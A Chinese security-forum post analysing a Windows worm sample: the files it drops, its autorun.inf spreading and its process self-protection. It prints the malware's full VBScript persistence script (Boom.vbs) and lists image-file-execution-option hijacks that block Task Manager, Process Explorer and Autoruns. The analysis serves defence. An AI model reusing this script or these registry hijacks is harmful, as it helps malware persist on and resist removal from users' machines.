pioneer
超级版主
积分 4563
发帖 4545
注册 2007-7-16
来自 BJ
|
#2
病毒分析
该样本程序被执行后，拷贝自身(均为系统、隐藏、只读属性)到:
%SystemRoot%\Fonts\Fonts.exe
%SystemRoot%\Fonts\tskmgr.exe
%SystemRoot%\Help\microsoft.hlp
%SystemRoot%\Media\rndll32.pif
%SystemRoot%\pchealth\helpctr\binaries\HelpHost.com
%SystemRoot%\pchealth\Global.exe
%SystemRoot%\system\KEYBOARD.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\Global.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\svchost.exe
%SystemRoot%\system32\dllcache\Recycler.{645FF040-5081-101B-9F08-00AA002F954E}\system.exe
%SystemRoot%\system32\dllcache\autorun.inf
%SystemRoot%\system32\dllcache\Default.exe
%SystemRoot%\system32\dllcache\Global.exe
%SystemRoot%\system32\dllcache\rndll32.exe
%SystemRoot%\system32\dllcache\tskmgr.exe
%SystemRoot%\system32\drivers\drivers.cab.exe
%SystemRoot%\system32\regedit.exe
并创建脚本文件：%SystemRoot%\Cursors\Boom.vbs，此脚本完成在中毒机器注销、关机、启动进行病毒文件复制及启动项的添加，其内容如下：
| Quote: | dim fs,rg
set fs = createobject("scripting.filesystemobject")
set rg = createobject("wscript.shell")
on error resume next
rg.regwrite "HKCR\.vbs\", "VBSFile"
rg.regwrite "HKCU\Control Panel\Desktop\
SCRNSAVE.EXE"," C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
rg.regwrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
rg.regwrite "HKCR\MSCFile\Shell\
Open\Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKCR\regfile\Shell\Open\
Command\", "C:\WINDOWS\pchealth\Global.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce\", "C:\WINDOWS\system32\dllcache\Default.exe"
rg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Run\", "C:\WINDOWS\system\KEYBOARD.exe"
rg.regwrite "HKEY_CLASSES_ROOT\MSCFile\Shell\Open\
Command\", "C:\WINDOWS\Fonts\Fonts.exe"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\DisplayName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\FileSysPath",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPO-ID","LocalGPO"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\GPOName","Local Group Policy"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\SOM-ID","Local"
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Parameters",""
rg.regwrite "HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff\0\0\Script","C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Shutdown\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\DisplayName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\FileSysPath", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPO-ID", "LocalGPO"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\GPOName", "Local Group Policy"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\SOM-ID", "Local"
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Parameters", ""
rg.regwrite "HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup\0\0\Script", "C:\WINDOWS\Cursors\Boom.vbs"
If Not fs.fileexists("C:\WINDOWS\Fonts\Fonts.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\Fonts\Fonts.exe")
If Not fs.fileexists("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com")
If Not fs.fileexists("C:\WINDOWS\pchealth\Global.exe") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\pchealth\Global.exe")
If Not fs.fileexists("C:\WINDOWS\system\KEYBOARD.exe")
Then fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\WINDOWS\system\KEYBOARD.exe")
If Not fs.fileexists("C:\WINDOWS\system32\dllcache\Default.exe") Then
fs.copyfile
("C:\WINDOWS\Help\microsoft.hlp"), ("C:\WINDOWS\system32\dllcache\Default.exe")
If Not fs.fileexists("C:\windows\system32\drivers\drivers.cab.exe") Then
fs.copyfile ("C:\WINDOWS\Help\
microsoft.hlp"), ("C:\windows\system32\drivers\drivers.cab.exe ")
If Not fs.fileexists("C:\windows\media\rndll32.pif ") Then
fs.copyfile ("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\media\
rndll32.pif")
If Not fs.fileexists("C:\windows\fonts\tskmgr.exe") Then
fs.copyfile("C:\WINDOWS\Help\microsoft.hlp"), ("C:\windows\fonts\tskmgr.exe") |
|
并修改注册表实现隐藏自身，添加映像劫持，如下：
| Quote: | 项：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
键值：ShowSuperHidden
指向数据：0
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auto.exe
键值：Debugger
指向数据：C:\WINDOWS\system32\drivers\drivers.cab.exe
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe
键值：Debugger
指向数据：C:\WINDOWS\system32\drivers\drivers.cab.exe
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe
键值：Debugger
指向数据：C:\WINDOWS\system32\drivers\drivers.cab.exe
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\boot.exe
键值：Debugger
指向数据：C:\WINDOWS\Fonts\fonts.exe
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe
键值：Debugger
指向数据：C:\WINDOWS\Fonts\fonts.exe
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe
键值：Debugger
指向数据：C:\WINDOWS\Media\rndll32.pif
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe
键值：Debugger
指向数据：C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com
项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
键值：Debugger
指向数据：C:\WINDOWS\Fonts\tskmgr.exe |
|
病毒完全运行后创建“Global.exe”、“svchost.exe”、“system.exe”进程，相互调用，达到进程不能被终止的效果，不断检测复制自身跟修改注册表，并不停遍历各磁盘查看是否有“autorun.inf”文件，如果有将其删除并写入新的“autorun.inf”，并拷贝自身名为“MS-DOS”的文件，设置上述文件为“只读”、“系统”、“隐藏”属性。
| |
※文章所有权归【pioneer】与【东方微点论坛】共同所有，转载请注明出处！※
|
 |
|
